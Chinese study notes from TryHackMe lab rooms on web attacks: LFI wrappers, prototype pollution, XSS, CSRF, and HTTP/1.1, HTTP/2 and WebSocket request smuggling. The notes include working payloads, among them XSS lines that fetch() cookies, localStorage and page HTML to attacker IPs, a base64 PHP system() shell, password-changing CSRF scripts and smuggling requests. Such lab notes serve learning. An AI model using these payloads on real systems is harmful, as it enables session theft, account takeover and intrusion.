curl 10.10.82.141:8089 -X POST -H 'X-XSRF-TOKEN: eyJpdiI6Ikx4REd5Um5jY0xqa0JYWmlNVnlSRGc9PSIsInZhbHVlIjoiSHRONWhPXC9VK29rY2YrcjFBY2JkblRVM3ZHM1FHcWN4MUZpY0NITmh0cTdrZEE2bytFajdnUm0xVThPYTd4VXRZZ2NNd29jRVhRNmpoZUsxNEdrV05FVmU2eUpkUHJBdDZrVlNITXF3UVptMlpWaVBCWEoyeEV4bjMxMjQzMWdMemk2V1U1ZU5DSFRBdFwvdHBSb0lLdDlUS1dIXC9qK0ZnUUc2R0I1c3ZPbHFyYWMxR0d3VDBPSGlGTXYydmVDOXFzTkxQS0tcL0FBOGljWks0cXVHcWpETHYrS3FDSXp3M1l1Vm9wWDA3VVU0a05sM2VTNm5NbW1WcDdGeDBzR29WN0g5clZvUThRNFd6T0F2ek1ZN09ac1wvamdGcEV3RitEK3lnYTA4c2FHazZHdlB0SVhBb2prXC9NV0FNSWNYV2NWU3MiLCJtYWMiOiJjOTgyZjgzYmQwZWZkZmJkY2JiYjkyZWJhZDNjN2IwODk2NGZjNmVhODMzYmM2NzdjZTViN2UwNDI1ZWIxMzMzIn0='| head -n 2

Java 反序列化利用工具

ysoserial

SSRF

我觉得他说的有意义的一点就是可以用 SSRF 去 DDOS,这也是一种反射式攻击了,其他的倒没说什么。

补救措施

输入强校验

白名单

网络隔离

实行强访问控制

全面日志监控

File Inclusion, Path Traversal

LFI 可以用

PHP Wrappers

1
php://filter/convert.base64-encode/resource=/etc/passwd

Data Wrapper

1
data:text/plain,<?php%20phpinfo();%20?>

LFI2CE - Session Files

session 投毒,想办法往 session 里面写东西,然后用 LFI 去访问那个文件

1
php://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydscyddKTtlY2hvICdTaGVsbCBkb25lICEnOyA/Pj4=

Prototype Pollution

这个房间讲了一下原型链污染,主要还是这种 OOP 语言有继承的特性,而 JS 子类的方法全是在一个链上的,他的子类有他链上的所有方法。

__proto__ 可以访问到一个对象的原型。

1
{"__proto__": {"toLocaleString": "Just crash the server"}}

Include

这个房间用了原型链调用,SSRF,LFI 加日志污染,日志污染没有实操过,我自己的思路是对的,但是卡在那里了,看了一下 writeup 秒解

https://medium.com/@z0diac/include-ctf-tryhackme-writeup-c36bded6d2f4

DOM XSS

1
2
3
4
5
<img src="nonexistent.jpg" onerror="fetch('http://10.14.106.192/?secret=' + localStorage.getItem('secret'));">

<img src="x" onerror="this.onerror=null; fetch('http://10.14.106.192/?data='+encodeURIComponent(document.documentElement.outerHTML));">

<img src="nonexistent.jpg" onerror="this.onerror=null; setTimeout(() => { fetch('http://10.14.106.192/?secret=' + localStorage.getItem('secret')); }, 6000);">

CORS & SOP

这个房间就讲 CORS 和同源策略了

SOP 以下几点要注意

  • 即便是同一个域名,不同端口,也是会被影响的,就不用说 HTTP 和 HTTPS 了。
  • SOP 不仅仅只应用于脚本上,他应用在网页上所有的东西,也就是有 URL 引入,要调用的东西(有歧义,待完善)
  • SOP 并不是阻止了所有的跨站通信,CORS 就是用来解决这点的

CORS

服务器不会阻拦请求,而是浏览器通过服务器发来的 CORS header 处理这条请求,实际上是浏览器这边作的处理。

CORS 中不同的 HTTP 头

  1. Access-Control-Allow-Origin: This header specifies which domains are allowed to access the resources. For example, Access-Control-Allow-Origin: example.com allows only requests from example.com.
  2. Access-Control-Allow-Methods: Specifies the HTTP methods (GET, POST, etc.) that can be used during the request.
  3. Access-Control-Allow-Headers: Indicates which HTTP headers can be used during the actual request.
  4. Access-Control-Max-Age: Defines how long the results of a preflight request can be cached.
  5. Access-Control-Allow-Credentials: This header instructs the browser whether to expose the response to the frontend JavaScript code when credentials like cookies, HTTP authentication, or client-side SSL certificates are sent with the request. If Access-Control-Allow-Credentials is set to true, it allows the browser to access the response from the server when credentials are included in the request. It’s important to note that when this header is used, Access-Control-Allow-Origin cannot be set to * and must specify an explicit domain to maintain security.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 偷 Cookie XSS
<img src="x" onerror="this.onerror=null; fetch('http://10.14.106.192/?data1='+encodeURIComponent(document.cookie));">

# 偷页面内容 XSS
<img src="x" onerror="this.onerror=null; fetch('http://10.14.106.192/?data1='+encodeURIComponent(document.documentElement.outerHTML));">


<img src="x" onerror="this.onerror=null; window.location.href='http://10.14.106.192:81/index.html';">

<script>
  window.location.href='http://10.14.106.192:81/';
</script>

<iframe style="display:none;" src="http://10.14.106.192:81/"></iframe>

XSS + CSRF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<script>
  // 1. 定义你要发送的 POST 请求的目标 URL
  const targetUrl = 'http://target.com/change_password.php'; // 替换为实际目标 URL

  // 2. 定义 POST 请求要发送的数据(JSON 格式)
  const postData = {
    username: 'attacker_controlled_name',
    email: 'attacker@example.com',
    // ... 其他你想修改的字段
  };

  // 3. 使用 fetch API 发送 POST 请求
  fetch(targetUrl, {
    method: 'POST', // 指定为 POST 请求
    headers: {
      'Content-Type': 'application/json', // 设置 Content-Type,通常是 JSON
      // 可以添加其他需要的头部,例如 Authorization header 如果需要
    },
    body: JSON.stringify(postData), // 将 JavaScript 对象转换为 JSON 字符串作为请求体
    credentials: 'include' // **关键:确保浏览器自动携带目标域的 Cookie**
  })
  .then(response => {
    // 4. 请求成功后,如果服务器响应 CORS 头允许,可以读取响应
    //    这里的 XSS 使得你处于同源上下文,所以通常可以读取响应
    if (response.ok) {
      return response.json(); // 如果响应是 JSON
    }
    throw new Error('Network response was not ok.');
  })
  .then(data => {
    console.log('Profile update response:', data);
    // 5. 如果你想将响应数据回传到你的服务器,可以再次发起一个请求
    fetch('http://10.14.106.192/log_data.php', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        stolen_response: data,
        victim_url: window.location.href
      })
    });
  })
  .catch(error => {
    console.error('There was a problem with the fetch operation:', error);
  });
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<script>
  const targetUrl = 'http://worldwap.thm:8081/change_password.php'; 
  const postBody = 'new_password=hacked123'; 

  fetch(targetUrl, {
    method: 'POST',
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded' 
    },
    body: postBody 
  }).then(response => {
    if (response.ok) {
      console.log('Password change request sent successfully. Status:', response.status);
    } else {
      console.error('Password change request failed. Status:', response.status);
    }
  }).catch(error => {
    console.error('An error occurred during the password change request:', error);
  });
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<script>
  var targetUrlEncoded = 'aHR0cDovL3dvcmxkd2FwLnRo bT o4MDgxL2NoYW5nZV9wYXNzd29yZC5waHA=';
  var targetUrl = atob(targetUrlEncoded.replace(/\s/g, ''));
  var postBody = 'new_password=hacked123';
  var xhr = new XMLHttpRequest();
  xhr.open('POST', targetUrl, true);
  xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  xhr.withCredentials = true;
  xhr.onload = function() {
    if (xhr.status >= 200 && xhr.status < 300) {
      console.log('Password change request sent. Status:', xhr.status);
    } else {
      console.error('Password change request failed. Status:', xhr.status, xhr.statusText);
    }
  };
  xhr.onerror = function() {
    console.error('Network error during password change request.');
  };
  xhr.send(postBody);
</script>

这一关还挺好玩的,要用到 CSRF,之前有印象但是没做笔记,用的是 XHR 来实现的,然后还对 url 做了 base64,避免 URL 被转成 a 标签。

HTTP Request Smuggling

这个房间就是利用前端和后端服务器对一个请求的处理不一致导致的问题,里面主要用到的是一些 HTTP Header 的错配导致的问题,用到的主要有 Content-Length 和 Transfer-Encoding。还有一个就是计算 \r\n 是否统计成字符数的问题。通过后面那个实操我感觉就像缓存投毒,会在一个连接里面复用,然后把其他用户的数据发到了不该发到的地方,这个直接应该是前端 - 后端这个过程中发生的。

现代基架

文中指出了现在的 Web 应用不是那么的直接了,大多都是由多个部分组成的,一般有以下几个部分:

  • 前端服务器
  • 后端服务器
  • 数据库
  • APIs
  • 微服务:一般用 HTTP/REST 或 gPRC
  • 负载均衡
  • 反代

缓存机制的职责

缓存是一种技术,用于存储并重复利用之前获取的数据或计算结果,以加速后续的请求和计算。

在目前 Web 基础架构下,缓存有如下几点:

  • 内容缓存:一般缓存的是不会频繁刷新的内容,比如图片,CSS 和 JS。缓存机制能减少 Web 服务器的负载和加速用户的访问
  • 数据库查询缓存:避免重复查
  • 页面缓存:缓存整个网页,我猜这个是在 CDN 场景分发静态界面用到的
  • 边缘缓存/CDNs
  • API 缓存

HTTP 请求头

每个 HTTP 头都有两个主要部分:header 和 body

HTTP Structure

  1. Request Line:请求行是 HTTP 请求的第一行。它至少包含三个部分:
    1. 方法(Method):一个单词的命令,告诉服务器如何处理请求的资源。例如,GETPOST
    2. 路径(Path):URL 的路径部分,用于标识服务器上的具体资源(例如,/admin/login)。
    3. HTTP 版本号(HTTP Version Number):表明客户端遵循的 HTTP 规范版本。
    4. 值得注意的是,HTTP/2 和 HTTP/1.1 在结构上有所不同。
  2. Request Header:这部分包含请求的元数据,比如发送内容的类型(Content-Type)、期望的响应格式,以及认证令牌(Authentication Tokens)等。
  3. Message Body:这是请求的实际内容。对于 GET 请求,消息体通常是空的;但对于 POST 请求,它可能包含表单数据、JSON 数据包或上传的文件。

Content-Length Header

Content-Length 标头表示请求或响应正文的大小(以字节为单位)。它告知接收服务器需要多少数据,以确保接收到全部内容。

Transfer-Encoding Header

Transfer-Encoding 标头用于指定应用于 HTTP 请求或响应的信息体的编码形式。该标头的常用值是 “chunked(分块)”,表示信息体被分成一系列块,每个块前面都有十六进制格式的大小

1
2
3
4
5
6
7
8
POST /submit HTTP/1.1
Host: good.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
    
b
q=smuggledData 
0

这个例子中 q=smuggledData 大小是 11 字节,后面是新的一行。请求以一行 “0 ”结束,表示信息体的结束。每个分块的大小都以十六进制格式给出,分块正文的结束由大小为 0 的分块表示。

HTTP Request Smuggling Origin

如果 CL 和 TE 一起用的话,这种就容易引起问题,因为一些组件可能优先用 CL,也可能用 TE。这种缺陷就导致了一个组件觉得这个请求结束了,但是另一个组件认为他仍然存在,导致问题出现。

举例说明:假设前端服务器用 CL 来确定一个请求的结束然而后端服务器用的 TE。攻击者可以伪造一个请求,在前端服务器看来是一个边界,而在后端服务器看来是另一个边界。这可能导致一个请求被偷渡到另一个请求中,造成意想不到的行为和潜在漏洞。

不同类型的偷渡

注意:这里指的前端服务器不单单指的是通俗意义上的网页前端服务器,而是广泛意义上的前端,比如说反代入口,负载均衡入口等等。

CL.TE

这种类型就是前端服务器用 CL 头,后端服务器用 TE。

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /search HTTP/1.1
Host: example.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /update HTTP/1.1
Host: example.com
Content-Length: 13
Content-Type: application/x-www-form-urlencoded

isadmin=true

这个例子就是 CL 为 130 字节,前端服务器认为这个请求在 isadmin=true 后面结束,但是后端服务器看到了 TE 是 chunk,所以认为 0 是这个块的结尾,后面的是一个新的请求。可能会导致未授权访问的发生。

不正确的 CL

如果 CL 少于实际的数据大小,他会按 CL 的数据来读取,这就会导致数据被截断了(也要看具体的应用服务器)。

TE.CL

和 CL.TE 不同,这种就完全反过来了,前端用的 TE,后端用的 CL。

1
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/1.1
Host: example.com
Content-Length: 4
Transfer-Encoding: chunked

78
POST /update HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

isadmin=true
0

在上面的示例中,前端服务器看到了 Transfer-Encoding: chunked ,把这个请求当成块处理, 78 标识接下来的 120 个字节是当前请求体的一部分,前端服务器会认为最后一个 0 之前的所有数据都是这个请求的一部分。

然而,后端服务器会使用 Content-Length 头,该头被设置为 4。它只会处理请求的前 4 个字节(78 \r \n)。请求的剩余部分(从 POST /update 开始)随后会被后端服务器解释为一个独立的新请求。

TE.TE

TE.TE 漏洞不总是需要多个 Transfer-Encoding 头。相反,它通常涉及一个单独的、格式错误的 Transfer-Encoding 头,这个头被前端和后端服务器以不同的方式解释。

攻击者通过包含“chunked”的畸形变体来操纵 Transfer-Encoding 头。这样做是为了利用前端和后端服务器在优先级上如何处理 Transfer-Encoding (TE) 头而不是 Content-Length (CL) 头。通过构造畸形的 Transfer-Encoding 头,攻击者旨在使其中一台服务器忽略 TE 头而转而使用 CL 头,从而导致前端和后端服务器在解释请求边界时出现差异。这种操纵可能导致出现 CL.TE 或 TE.CL 情况,具体取决于哪台服务器退而使用 Content-Length

1
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/1.1
Host: example.com
Content-length: 4
Transfer-Encoding: chunked
Transfer-Encoding: chunked1

4e
POST /update HTTP/1.1
Host: example.com
Content-length: 15

isadmin=true
0

前端服务器会遇到两个 Transfer-Encoding 头。第一个是标准的 chunked 编码,但第二个 chunked1 是非标准的。根据其配置,前端服务器可能会基于第一个 Transfer-Encoding: chunked 头来处理请求,并忽略畸形的 chunked1,从而将直到 0(表示分块消息结束)之前的所有内容都解释为单个分块消息的组成部分。

然而,后端服务器可能会以不同方式处理畸形的 Transfer-Encoding: chunked1。它可能要么拒绝畸形部分并像前端服务器一样处理请求,要么由于存在非标准头而以不同方式解释请求。如果它仅处理 Content-length: 4 所指示的前 4 个字节,那么从 POST /update 开始的请求剩余部分随后将被视为一个独立的、新的请求。

被走私的请求(包含 isadmin=true 参数)将由后端服务器处理,就好像它是一个合法且独立的请求一样。根据服务器功能和 /update 端点的性质,这可能导致未经授权的操作或数据修改。


TBH 我不理解🤔为什么会出现未授权访问呢,后端不加鉴权的吗,为什么简单的绕过就能绕过这个鉴权?后面那个实操我倒能理解,他把别人的请求混在一起夹带到另一个会话了,导致我能偷他的数据。

Walkthrough

构造了一个 ATS (Apache Traffic Server) 作为前端代理, Nginx 作为 Web 服务器后端,PHP 处理动态内容。由于 ATS 和 Nginx 优先处理 Content-Length 和 Transfer-Encoding 标头的方式不同,存在 HTTP 请求走私的可能性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/1.1
Host: httprequestsmuggling.thm
Content-Type: application/x-www-form-urlencoded
Content-Length: 160
Transfer-Encoding: chunked

0

POST /contact.php HTTP/1.1
Host: httprequestsmuggling.thm
Content-Type: application/x-www-form-urlencoded
Content-Length: 500

username=test&query=§

这个 payload,前端解析了 Content-Length,认为这是一整个请求,把他转发到后端,然而后端服务器优先解析 Transfer-Encoding,把 0 前面的请求截断,然后认为第二部分的 POST 请求是一个全新的请求。

然后疑似这个房间有 bug,过不去,搁置了。

总结

HTTP 请求走私由于服务器对请求头的解析不一导致的。

缓解方法

  • 统一的头部处理: 确保所有服务器以相同的方式处理 HTTP 头部,以防止出现请求走私的机会。
  • 采用 HTTP/2: 转向使用 HTTP/2 可以增强对请求边界的管理,从而降低走私的风险。
  • 持续监控和审查: 密切关注服务器流量中是否存在请求走私的迹象,并定期进行检查以维护安全的服务器配置。
  • 团队意识: 确保开发和运维团队都了解请求走私的危险以及相应的预防措施。

HTTP/2 Request Smuggling

HTTP/2

最大的区别是它更改了消息的格式,完全用二进制的格式,而不是 HTTP/1.1 那种人类可读的格式。

https://tryhackme-images.s3.amazonaws.com/user-uploads/5ed5961c6276df568891c3ea/room-content/b62f90be37525447e4a9118b906f1291.svg

以下是 HTTP/2 请求的几个主要组成部分:

  • 伪头部(Pseudo-headers):HTTP/2 定义了一些以冒号 : 开头的特殊头部。这些是构成一个有效 HTTP/2 请求的最小必需字段。例如,你可以在上图中看到 :method:path:scheme:authority 等伪头部。
  • 常规头部(Headers):在伪头部之后,是常规的 HTTP 头部,例如 user-agentcontent-length。请注意,HTTP/2 强制使用小写来表示这些头部名称。
  • 请求体(Request Body):与 HTTP/1.1 类似,请求体包含随请求发送的任何额外信息,例如 POST 请求的参数、上传的文件或其他数据。

另一个重要的结构性改变,虽然可能不那么明显,但在于 HTTP/2 为请求或响应的每个部分建立了精确的边界。HTTP/2 不再像 HTTP/1.1 那样依赖 \r\n 等特定字符来分隔不同的头部,或者依赖冒号 : 来分隔头部名称和值。相反,HTTP/2 引入了明确的字段来跟踪请求(或响应)中每个部分的大小

Request Smuggling and HTTP/2

HTTP 请求走私之所以在 HTTP/1 场景下成为可能,主要原因在于存在多种定义请求体大小的方式。 协议中的这种模糊性导致不同的代理服务器对请求何时结束以及下一个请求何时开始有各自的解释,最终引发了请求走私的情况。

在 HTTP 请求走私的语境下,我们最关注的一点是:HTTP/2 明确定义了请求各部分的大小。 为了避免 HTTP/1 中的这种不确定性,HTTP/2 在每个请求组件前添加了一个包含其大小的字段。例如,每个头部都会被前置一个表示其大小的字段,这样解析器就能精确地知道需要读取多少信息。为了更好地理解这一点,我们来看看在 Wireshark 中捕获到的一个请求,特别是请求头部分:

HTTP 2 Binary Format

在图片中,我们看到的是 :method 伪头部。正如我们所观察到的,无论是头部名称还是头部值都带有各自的长度前缀。头部名称的长度是 7,对应着 :method;而头部值的长度是 3,对应着字符串 GET

请求体同样包含一个长度指示器,这使得 Content-LengthTransfer-Encoding: chunked 等头部在纯粹的 HTTP/2 环境中变得毫无意义。

注意: 尽管 HTTP/2 不会直接使用 Content-Length 头部,但现代浏览器在特定情况下(即可能发生 HTTP 降级时)仍会包含这些头部。

有了这样清晰的请求各部分边界,人们可能会认为请求走私是不可能的,在完全依赖 HTTP/2 的实现中,某种程度上确实如此。然而,与任何新协议版本一样,并非所有设备都能直接升级。这导致了许多负载均衡器或反向代理虽然支持 HTTP/2,但却从仍然使用 HTTP/1 的服务器集群中提供内容。

我觉得最大的区别就是去掉了 \r\n ,然后加了类似 TLV 这样的格式,还在必须要有的字段加了一个伪头部。

HTTP/2 Desync

HTTP/2 Downgrading

用户(或攻击者)与前端反向代理之间使用 HTTP/2,而前端代理与后端服务器之间仍使用 HTTP/1.1 时,我们称之为 HTTP/2 降级(downgrading)

在这种混合协议环境中,HTTP 请求走私是有可能发生的。攻击者并不是直接利用 HTTP/2 的漏洞,而是通过精心构造的 HTTP/2 请求,来影响前端代理将其转换为 HTTP/1.1 请求的方式

理想情况下,前端代理应该能完美地将一个 HTTP/2 请求精确转换为一个等效的 HTTP/1.1 请求。然而,在实际操作中,不同的代理实现方式会造成转换上的细微差异。攻击者正是利用这些差异,诱使代理在后端连接中生成畸形或意料之外的 HTTP/1.1 请求,从而导致HTTP 脱同步(desync)

预期行为

H2.CL

HTTP/2 不需要 content-length ,但是目前的现代浏览器会把他加上去预防 HTTP 降级。

H2.CL Case

如果前端带了一个大小为 0 的 content-length 过去,那么原始 Body 会拼接到新请求的后面。

H2.CL Victim

H2.TE

我们同样能加 Transfer-Encoding: chunked 头部到前端 HTTP/2 请求,代理也可能将其原封不动地传递给后端 HTTP/1.1 连接。如果后端服务器优先选择这个头部去定义请求体的大小,我们能再次使这个连接去同步。

H2.TE Case

可以看到一个请求里面又包含了一个新的请求,后端会解析那个 0 ,把后面的一块当成新的请求来处理。

CRLF injection

这个就和 HTTP/1.1 有关系了,因为 HTTP/1.1 就是用 \r\n 来分隔字段的,一个空行里面插一个 \r\n 然后下一行跟着一个 GET 请求,就是新的一条请求了。

利用

有两种利用方式,一种是请求隧道,一种是去同步。

H2.CL

通过修改 CL 为 0 ,同时修改 body 为特定字段,导致下一个请求的人的请求被拼接,造成 CSRF。

1
2
GET /post/like/12315198742342 HTTP/1.1
X: f

为什么能造成这样,是因为前端代理服务器把这个拆成 2 条请求了,上面这个 payload 会等待受害者的请求,一旦受害者请求,他的请求会被拼接在这后面,变成

1
2
3
4
5
6
GET /post/like/xxx HTTP/1.1\r\n
X: fGET / HTTP/1.1\r\n
Host: xxxx\r\n
User-Agent: xxx\r\n
Cookie: COOKIE_STRING\r\n
\r\n

这样受害者就会携带他的 Cookie 去访问我们定义好的那个端点。

记得要在 Burp 里面取消更新 Content-Length,还有那个 payload 末尾不要有 \r\n,执行一次要等待 30s 去等待受害者去访问页面。

还有这个我实测是需要前一个请求是 POST 请求,如果是 GET 不生效。

Leaking Internal Headers

通过构造好的 payload 让别人的请求拼接在你的请求的参数里面,导致回显,这个例子是前端代理的 header 字段,比如这个 header 里面有一些密钥或者鉴权之类的 token,可以通过这种方式偷出来。

这个例子是利用前端的一个搜索参数,填在搜索区域的参数有回显导致的,和反射型 XSS 类似。

1
2
3
4
5
6
7
8
9
abcd
Host: 10.10.161.96:8100

POST /hello HTTP/1.1
Content-Length: 300
Host: 10.10.161.96:8100
Content-Type: application/x-www-form-urlencoded

q=

这里同样记得把更新 Content-Length 关掉

Bypassing Frontend Restrictions

这个其实是一条请求里面混两条请求,用 POST 请求的目的是为了避免缓存

1
2
3
4
5
abcd
Host: 10.10.161.96:8100

GET /admin HTTP/1.1
X-Fake: a

这个方法也同样可以去绕 WAF,因为这个请求看起来我们是在访问一个合法的端点

Web Cache Poisoning 缓存投毒

这个就不用过多解释了,投毒后 CSRF。

偷 cookie payload

要找一个文件上传点传上去,这里内置好了

1
2
3
4
5
6
7
8
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
       document.getElementById("demo").innerHTML = xhttp.responseText;
    }
};
xhttp.open("GET", "https://10.11.141.2:8002/?c="+document.cookie, true);
xhttp.send();

生成自签证书

1
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/C=XX/ST=StateName/L=CityName/O=CompanyName/OU=CompanySectionName/CN=CommonNameOrHostname"

HTTPS 服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

# 定义服务器地址和端口
host = '0.0.0.0'
port = 8002

# 1. 创建一个 SSLContext 对象
# ssl.PROTOCOL_TLS_SERVER 是推荐用于服务器的协议版本,它会自动协商最新的TLS版本
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) 

# 2. 加载证书和私钥
# keyfile 是私钥文件路径,certfile 是证书文件路径
context.load_cert_chain(certfile="cert.pem", keyfile="key.pem")

# 创建 HTTP 服务器实例
httpd = HTTPServer((host, port), BaseHTTPRequestHandler)

# 3. 使用 SSLContext 实例的 .wrap_socket() 方法来包装服务器的套接字
httpd.socket = context.wrap_socket(httpd.socket, server_side=True)

print(f"HTTPS server running on https://{host}:{port}/")

# 启动服务器
httpd.serve_forever()

burp payload

1
2
3
4
bar
Host: 10.10.161.96:8100

GET /static/uploads/myjs.js HTTP/1.1

记得在 HTTP/2.0 header 里面加一个 pragma: no-cache

测试缓存是否生效

1
curl -kv https://10.10.161.96:8100/static/text.js

H2c 走私

HTTP 版本协商

Web 服务器能够在单个端口上提供多种 HTTP 协议版本。这样做的好处是,它无需保证用户浏览器一定支持 HTTP/2。通过这种方式,服务器可以同时提供 HTTP/1.1 和 HTTP/2,客户端则可以自行选择想要使用的版本。这个过程被称为协议协商(negotiation),并且完全由你的浏览器负责处理。

原始的 HTTP/2 标准定义了2种方式去协商 HTTP/2,取决于双方之间的通信加密了没有。

  • h2: 当 HTTP/2 运行在 TLS 加密通道上时,使用的就是 h2 协议。它依赖于 TLS 的应用层协议协商 (ALPN) 机制来提供 HTTP/2 服务。
  • h2ch2c 指的是在明文通道上运行的 HTTP/2。这通常在没有加密可用的场景下使用。由于 ALPN 是 TLS 的一个特性,因此无法在明文通道中使用它。在这种情况下,客户端会发送一个初始的 HTTP/1.1 请求,并附加几个特定的头部来请求升级到 HTTP/2。如果服务器确认并接受这些额外的头部,连接就会成功升级到 HTTP/2。

升级到 h2c

当协商建立一个明文的 HTTP/2 连接时,客户端会发送一个常规的 HTTP/1.1 请求,其中包含 Upgrade: h2c 头部,以告知服务器它支持 h2c。该请求还必须包含一个额外的 HTTP2-Settings 头部,其中带有我们在此不详细讨论的协商参数。一个符合规范的服务器将以 101 Switching Protocols 响应来接受升级。从那时起,连接就会切换到 HTTP/2 协议。

这个其实是用访问合法端点构建起 HTTP/2 隧道之后,再用隧道进行访问,从而绕过前端的限制。

这里要用 h2csmuggler 工具,原版要用老版 python 跑,我修改之后支持 python3.14 同时修复了自签证书的问题。

推荐阅读

番外

为什么 HTTP/2 能有效避免 HTTP/1.1 中常见的由于连接复用导致的请求走私?

这主要归结于 HTTP/2 在协议设计上的根本性改变,尤其是它处理请求和响应边界的方式。


HTTP/1.1 走私的根本原因

在 HTTP/1.1 中,请求走私之所以普遍,是因为存在多种方式来定义请求体的结束位置(比如 Content-LengthTransfer-Encoding: chunked)。当中间代理服务器和后端服务器对这些定义解析不一致时,它们就会对同一个 TCP 连接上的 HTTP 请求边界产生不同的理解。

想象一下,HTTP/1.1 就像是发送一连串没有明确分界线的文字,代理和服务器各自揣摩哪句话在哪里结束,这就很容易出错,导致后面的文字被当成了另一句话的开头。


HTTP/2 如何解决这个问题

HTTP/2 从根本上重构了数据传输方式,引入了二进制分帧层(Binary Framing Layer)。这就好比 HTTP/2 不再发送一连串文字,而是发送一个个带有明确标签和长度的包裹

具体来说,HTTP/2 解决了 HTTP/1.1 中走私问题的关键点有:

  1. 精确的长度指示器: 在 HTTP/2 中,所有的 HTTP 消息(包括请求和响应)都被分解成更小的、独立的二进制帧(frames)。每个帧都有一个明确的类型(例如,HEADERS 帧用于头部,DATA 帧用于请求体)和精确的长度字段
    • 这意味着,无论是请求头、请求体,还是其他元数据,都被封装在自带大小信息的帧中。解析器不再需要依赖 Content-LengthTransfer-Encoding 这样的头部来推断请求体的长度,因为数据帧本身就包含了精确的长度信息。
    • 举个例子,一个 HEADERS 帧会明确告诉你它包含多少字节的头部数据,一个 DATA 帧会明确告诉你它包含多少字节的请求体数据。
  2. 单一、严格的解析逻辑: HTTP/2 的解析器只遵循这一套严格的二进制分帧规则。它不会像 HTTP/1.1 那样,在 Content-LengthTransfer-Encoding 之间进行选择或优先级判断。这种单一且强制的解析机制消除了前端代理和后端服务器对请求边界产生歧义的可能性。
  3. 连接复用与多路复用: 尽管 HTTP/2 也支持连接复用,但它使用的是多路复用(Multiplexing)。这意味着在同一个 TCP 连接上,可以同时传输多个独立的请求和响应。每个请求/响应流都有自己的唯一标识符,并且它们的帧可以交错发送,但由于每个帧都带有流 ID 和长度信息,它们在接收端可以被正确地重组。这进一步增强了请求之间的隔离性,降低了相互干扰的风险。

Request Smuggling: WebSockets

这个房间本质上还是利用 HTTP 的漏洞,只不过是利用了协议升级,前后端服务器存在的行为不一致的问题。

从 HTTP 升级到 Websockets

客户端发起一个 HTTP 请求,其中包含 Upgrade: websocket 头部。如果服务器支持 WebSocket 协议,它就会回复 101 Switching Protocols 响应,并相应地升级该连接。从那一刻起,连接将使用 WebSocket 协议而非 HTTP 协议。

如果你在中间引入一个代理,情况就会变得有趣起来:大多数代理服务器不会亲自处理 WebSocket 升级请求,而是将其直接转发给后端服务器。一旦连接成功升级,代理就会在客户端和后端服务器之间建立一条隧道。这样一来,所有后续的 WebSocket 流量都将不受干扰地直接转发到后端服务器。

我们现在面临的问题是,这条隧道使用的是 WebSocket 协议而非 HTTP。如果此时我们尝试利用这条隧道来走私一个 HTTP 请求,后端服务器将会拒绝它,因为它此时正期待接收 WebSocket 请求。

那我们能不能让代理服务器到后端服务器的连接不升级呢?或者是能不能让代理服务器误认为这个连接升级,然后建立起这个隧道。

通过有缺陷的 WebSocket 隧道走私 HTTP 请求

为了通过一个有漏洞的代理服务器走私请求,我们可以创建一个畸形请求,让代理服务器误认为正在执行 WebSocket 升级,但后端服务器实际上并没有升级连接。这将迫使代理在客户端和服务器之间建立一个隧道,由于代理假设这已是一个 WebSocket 连接,因此它不会再检查隧道内的流量,而后端服务器却仍然期望接收 HTTP 流量。

强制实现(即让代理建立一个未检查的隧道,而后端仍期望 HTTP 流量)的一种方法是,发送一个带有无效 Sec-WebSocket-Version 头部的升级请求。但是后端会发一个 426 Upgrade Required 响应去表示这个升级是不成功的。

一般 Sec-WebSocket-Version 是 13,我们可以填一个高于这个版本的就行。

但是某些代理会不管后端服务器的响应,假定这个升级是始终完成的。然后这个假的 WebSocket 隧道就建立起来了,我们就可以往里面发送 HTTP 请求了。

但是这个技巧不会去污染别的用户的请求,所以我们只能用来绕过前端的一些请求限制。

1
2
3
4
5
6
7
8
9
GET /socket HTTP/1.1
Host: MACHINE_IP:8001
Sec-WebSocket-Version: 777
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Key: nf6dB8Pb/BLinZ7UexUXHg==

GET /flag HTTP/1.1
Host: MACHINE_IP:8001

绕过代理限制

跟着 Room 走就行,我用的 Payload 如下,注意最后有两个回车,还有记得取消 Update Content-Length。

1
2
3
4
5
6
7
8
9
GET /socket HTTP/1.1
Host: MACHINE_IP:8001
Sec-WebSocket-Version: 777
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Key: nf6dB8Pb/BLinZ7UexUXHg==

GET /flag HTTP/1.1
Host: MACHINE_IP:8001

如果失败的话,可以用 nc 发请求,一样的。

绕过”安全“的代理

某些代理会检验后端是否发送了成功升级的请求,如果没有,就不升级连接。但是我们可以通过 SSRF 来实现这点。

下面是一个会始终发送 101 Switching Protocols 响应的代码,我们通过 SSRF,导致后端会回显这个响应,欺骗代理服务器连接已经建立了,建立起 WebSocket 隧道。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 1:
    print("""
Usage: {} 
    """.format(sys.argv[0]))
    sys.exit()

class Redirect(BaseHTTPRequestHandler):
   def do_GET(self):
